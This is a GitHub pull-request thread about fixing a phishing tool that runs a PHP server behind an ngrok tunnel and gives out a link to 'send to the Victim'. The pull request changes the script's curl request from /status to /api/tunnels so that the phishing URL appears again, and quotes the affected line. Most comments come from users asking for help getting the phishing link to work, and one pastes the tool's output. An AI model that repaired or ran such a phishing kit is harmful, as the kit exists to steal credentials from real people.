Conversation
The previous version has an error which doesn't show the phishing URL. The reason for this was the Ngrok html page, which was built using purely javascript. Fixed it by changing the requests path from "/status" to "/api/tunnels". The code should show the phishing URL properly now.
|
nice bro thanks for the help i had the same problem |
|
Hi.Can u help me to fix the error wich doesn't show the phishing URL? |
|
Yeah ! nowadays there's been an new update
Which updated the privacy settings of git hub . Now u need to log in with
an account to continue due to which u cant skip to the next step .
U can find ur consern related topics on YouTube . Thanks & Regards
…On Tue, 18 May 2021, 9:50 pm BlackLord1, ***@***.***> wrote:
Hi.Can u help me to fix the error wich doesn't show the phishing URL?
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
<#2 (comment)>, or
unsubscribe
<https://github.com/notifications/unsubscribe-auth/AOIL7SDBIT5SYVR75Y4S5QTTOKHWBANCNFSM43YFFZOA>
.
|
|
Hi mate, can you explain me one thing, please? Why isn't it working while VPN is activated? |
|
hi i have a question how to edit this code and change it? |
|
the error is still there... |
DocEmerald-dev
left a comment
DocEmerald-dev
left a comment
There was a problem hiding this comment.
for me its still not working
[] Choose an option: 1
[] Downloading Ngrok...
[] Starting php server...
[] Starting ngrok server...
[] Send this link to the Victim:
[] Waiting victim open the link ...
|
how do I update the code for it to show the link |
|
still there is problem, it is not showing the URL if any one know please help me. |
|
bro pls fix this error |
|
Link Which it make cannot Work Any solution |
|
anyone to pleaase help me here, |
|
what is the username and password, it keeps prompting me for the username and password |
|
still url issue don't solve . |
|
so has anyone figured out how to get the link |
16 participants
The previous version has an error which doesn't show the phishing URL:
The reason for this is because ngrok html page has a different code than expected by curl, as seen in line 436:
link=$(curl -s -N http://127.0.0.1:4040/status | grep -o "https://[0-9a-z]*\.ngrok.io")When grep tries looking for the link, it can't be found in
/status, thought it can be found in/api/tunnelsas a plain text.The fix was to change from
/statusto/api/tunnels, it should work properly now as shown below: